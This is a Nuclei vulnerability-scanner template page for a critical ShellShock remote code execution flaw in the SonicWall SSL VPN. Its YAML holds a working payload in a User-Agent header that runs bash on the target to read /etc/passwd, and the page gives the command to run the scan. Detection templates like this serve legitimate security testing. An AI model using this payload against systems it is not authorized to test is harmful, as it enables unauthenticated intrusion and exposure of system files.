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Nuclei Templates

Sonicwall SSLVPN - Remote Code Execution (ShellShock)

ID: sonicwall-sslvpn-shellshock

Severity: critical

Author: PR3R00T

Tags: shellshock,sonicwall,rce,vpn

Description

Section titled “Description”

Sonicwall SSLVPN contains a ‘ShellShock’ vulnerability which allows remote unauthenticated attackers to execute arbitrary commands.

YAML Source

Section titled “YAML Source”
id: sonicwall-sslvpn-shellshock


info:
  name: Sonicwall SSLVPN - Remote Code Execution (ShellShock)
  author: PR3R00T
  severity: critical
  description: |
    Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands.
  reference:
    - https://twitter.com/chybeta/status/1353974652540882944
    - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: shellshock,sonicwall,rce,vpn


http:
  - raw:
      - |
        GET /cgi-bin/jarrewrite.sh HTTP/1.1
        Host: {{Hostname}}
        User-Agent: "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'"
        Accept: */*


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a00463044022068a6e1fc07be39f09eeaf3f21a2d7c34aa20a919c811cc7d7d76243693ce0df70220150f5b38dfd0a9943963de174b15a7da721250340deb739f2883de83694f31a8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/sonicwall-sslvpn-shellshock.yaml"

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